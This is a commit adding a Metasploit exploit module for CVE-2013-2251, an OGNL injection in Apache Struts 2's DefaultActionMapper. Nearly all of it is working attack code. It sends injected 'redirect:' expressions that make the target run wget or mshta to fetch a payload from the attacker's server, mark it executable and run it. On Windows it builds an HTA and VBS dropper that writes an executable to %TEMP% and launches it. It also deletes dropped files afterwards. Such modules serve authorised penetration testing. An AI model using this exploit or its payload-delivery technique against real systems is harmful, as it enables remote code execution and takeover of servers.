Add module for CVE-2013-2251
jvazquez-r7
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00630376c3
commit
04b9e3a3e6
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution',
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'Description' => %q{
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The Struts 2 DefaultActionMapper supports a method for short-circuit navigation
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state changes by prefixing parameters with "action:" or "redirect:", followed by
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a desired navigational target expression. This mechanism was intended to help with
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attaching navigational information to buttons within forms.
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In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or
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"redirectAction:" is not properly sanitized. Since said information will be
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evaluated as OGNL expression against the value stack, this introduces the
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possibility to inject server side code.
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This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with
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Windows 2003 SP2 and Ubuntu 10.04 operating systems.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Takeshi Terada', # Vulnerability discovery
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'sinn3r', # Metasploit module
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'juan vazquez' # Metasploit modules
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],
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'References' =>
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[
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[ 'CVE', '2013-2251' ],
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[ 'OSVDB', '95405' ],
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[ 'BID', '61189' ],
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[ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ]
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],
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'Platform' => [ 'win', 'linux'],
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'Targets' =>
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[
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['Automatic', {}],
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['Windows',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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}
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],
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['Linux',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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}
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]
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],
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'DefaultOptions' =>
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{
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'WfsDelay' => 10
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},
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'Stance' => Msf::Exploit::Stance::Aggressive,
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'DisclosureDate' => 'Jul 2 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']),
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OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]),
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# It isn't OptPath becuase it's a *remote* path
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OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ])
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], self.class)
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end
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def on_new_session(session)
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if session.type == "meterpreter"
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session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
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end
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@dropped_files.delete_if do |file|
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false unless file =~ /\.exe/
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win_file = file.gsub("/", "\\\\")
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if session.type == "meterpreter"
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begin
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wintemp = session.fs.file.expand_path("%TEMP%")
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win_file = "#{wintemp}\\#{win_file}"
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session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
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session.fs.file.rm(win_file)
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print_good("Deleted #{file}")
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true
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rescue ::Rex::Post::Meterpreter::RequestError
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print_error("Failed to delete #{win_file}")
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false
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end
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end
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end
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end
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def start_http_service
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#do not use SSL
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if datastore['SSL']
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ssl_restore = true
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datastore['SSL'] = false
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end
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if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
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srv_host = Rex::Socket.source_address(rhost)
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else
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srv_host = datastore['SRVHOST']
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end
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service_url = srv_host + ':' + datastore['SRVPORT'].to_s
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print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
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start_service({
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'Uri' => {
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'Proc' => Proc.new { |cli, req|
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on_request_uri(cli, req)
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},
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'Path' => '/'
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}
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})
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datastore['SSL'] = true if ssl_restore
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return service_url
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end
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def check
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uri = normalize_uri(target_uri.path)
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'GET'
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})
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if res.nil? or res.code != 200
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print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
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return Exploit::CheckCode::Unknown
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end
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proof = rand_text_alpha(6 + rand(4))
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res = send_request_cgi({
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'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}",
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'method' => 'GET'
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})
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if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Unknown
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end
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def auto_target
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uri = normalize_uri(target_uri.path)
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'GET'
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})
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if res.nil? or res.code != 200
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fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")
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end
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proof = rand_text_alpha(6 + rand(4))
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res = send_request_cgi({
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'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}",
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'method' => 'GET'
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})
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if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
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if res.headers['Location'] =~ /:\\/
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return targets[1] # Windows
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else
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return targets[2] # Linux
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end
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end
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fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work")
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end
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def exploit_linux
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downfile = rand_text_alpha(8+rand(8))
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@pl = @exe
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@pl_sent = false
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#
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# start HTTP service if necessary
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#
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service_url = start_http_service
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#
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# download payload
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#
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fname = datastore['WritableDir']
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fname = "#{fname}/" unless fname =~ %r'/$'
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fname << downfile
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uri = normalize_uri(target_uri.path)
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uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"
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print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => uri
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})
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if res.nil? or res.code != 302
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
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end
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#
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# wait for payload download
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#
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wait_payload
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stop_service
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register_file_for_cleanup(fname)
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#
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# chmod
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#
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uri = normalize_uri(target_uri.path)
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uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"
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print_status("#{rhost}:#{rport} - Make payload executable...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => uri
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})
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if res.nil? or res.code != 302
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
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end
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#
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# execute
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#
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uri = normalize_uri(target_uri.path)
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uri << "?redirect:%25{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}"
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print_status("#{rhost}:#{rport} - Execute payload...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => uri
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})
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if res.nil? or res.code != 302
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
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end
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end
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def exploit_windows
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@var_exename = rand_text_alpha(4 + rand(4)) + '.exe'
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@pl = build_hta
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@pl_sent = false
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#
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# start HTTP service if necessary
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#
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service_url = start_http_service
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#
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# execute hta
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#
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uri = normalize_uri(target_uri.path)
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uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}"
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print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => uri
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})
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if res.nil? or res.code != 302
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
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end
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#
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# wait for payload download
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#
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wait_payload
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stop_service
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register_file_for_cleanup(@var_exename)
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end
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def exploit
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if target.name =~ /Automatic/
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print_status("#{rhost}:#{rport} - Target autodetection...")
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my_target = auto_target
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print_good("#{rhost}:#{rport} - #{my_target.name} target found!")
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else
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my_target = target
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end
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p = exploit_regenerate_payload(my_target.platform, my_target.arch)
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@exe = generate_payload_exe({:code => p.encoded, :platform => my_target.platform, :arch => my_target.arch})
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if my_target.name =~ /Linux/
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if datastore['PAYLOAD'] =~ /windows/
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fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")
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end
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exploit_linux
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elsif my_target.name =~ /Windows/
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if datastore['PAYLOAD'] =~ /linux/
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fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")
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end
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exploit_windows
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end
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end
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# Handle incoming requests from the server
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def on_request_uri(cli, request)
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vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}")
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if (not @pl)
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print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
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return
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end
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print_status("#{rhost}:#{rport} - Sending the payload to the server...")
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@pl_sent = true
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send_response(cli, @pl)
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end
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# wait for the data to be sent
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def wait_payload
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print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")
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waited = 0
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while (not @pl_sent)
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select(nil, nil, nil, 1)
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waited += 1
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if (waited > datastore['HTTP_DELAY'])
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
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end
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end
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end
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def build_hta
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var_shellobj = rand_text_alpha(rand(5)+5);
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var_fsobj = rand_text_alpha(rand(5)+5);
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var_fsobj_file = rand_text_alpha(rand(5)+5);
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var_vbsname = rand_text_alpha(rand(5)+5);
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var_writedir = rand_text_alpha(rand(5)+5);
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var_origLoc = rand_text_alpha(rand(5)+5);
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var_byteArray = rand_text_alpha(rand(5)+5);
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var_writestream = rand_text_alpha(rand(5)+5);
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var_strmConv = rand_text_alpha(rand(5)+5);
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# Doing in this way to bypass the ADODB.Stream restrictions on JS,
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# even when executing it as an "HTA" application
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# The encoding code has been stolen from ie_unsafe_scripting.rb
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print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta...");
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# Build the content that will end up in the .vbs file
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vbs_content = Rex::Text.to_hex(%Q|
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Dim #{var_origLoc}, s, #{var_byteArray}
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#{var_origLoc} = SetLocale(1033)
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|)
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# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
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# for conversion with ADODB.Stream
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vbs_ary = []
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# The output of this loop needs to be as small as possible since it
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# gets repeated for every byte of the executable, ballooning it by a
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# factor of about 80k (the current size of the exe template). In its
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# current form, it's down to about 4MB on the wire
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@exe.each_byte do |b|
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vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
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end
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vbs_content << vbs_ary.join("")
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# Continue with the rest of the vbs file;
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# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
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# Then use ADODB.Stream again to write the binary to file.
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#print_status("Finishing vbs...");
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vbs_content << Rex::Text.to_hex(%Q|
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Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
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#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"
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Set #{var_strmConv} = CreateObject("ADODB.Stream")
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#{var_strmConv}.Type = 2
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#{var_strmConv}.Charset = "x-ansi"
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#{var_strmConv}.Open
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#{var_strmConv}.WriteText s, 0
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#{var_strmConv}.Position = 0
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#{var_strmConv}.Type = 1
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#{var_strmConv}.SaveToFile #{var_writedir}, 2
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SetLocale(#{var_origLoc})|)
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hta = <<-EOS
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<script>
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var #{var_shellobj} = new ActiveXObject("WScript.Shell");
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var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
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var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
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var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
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#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
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#{var_fsobj_file}.Close();
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#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
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#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
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#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
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window.close();
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</script>
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EOS
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return hta
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end
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end
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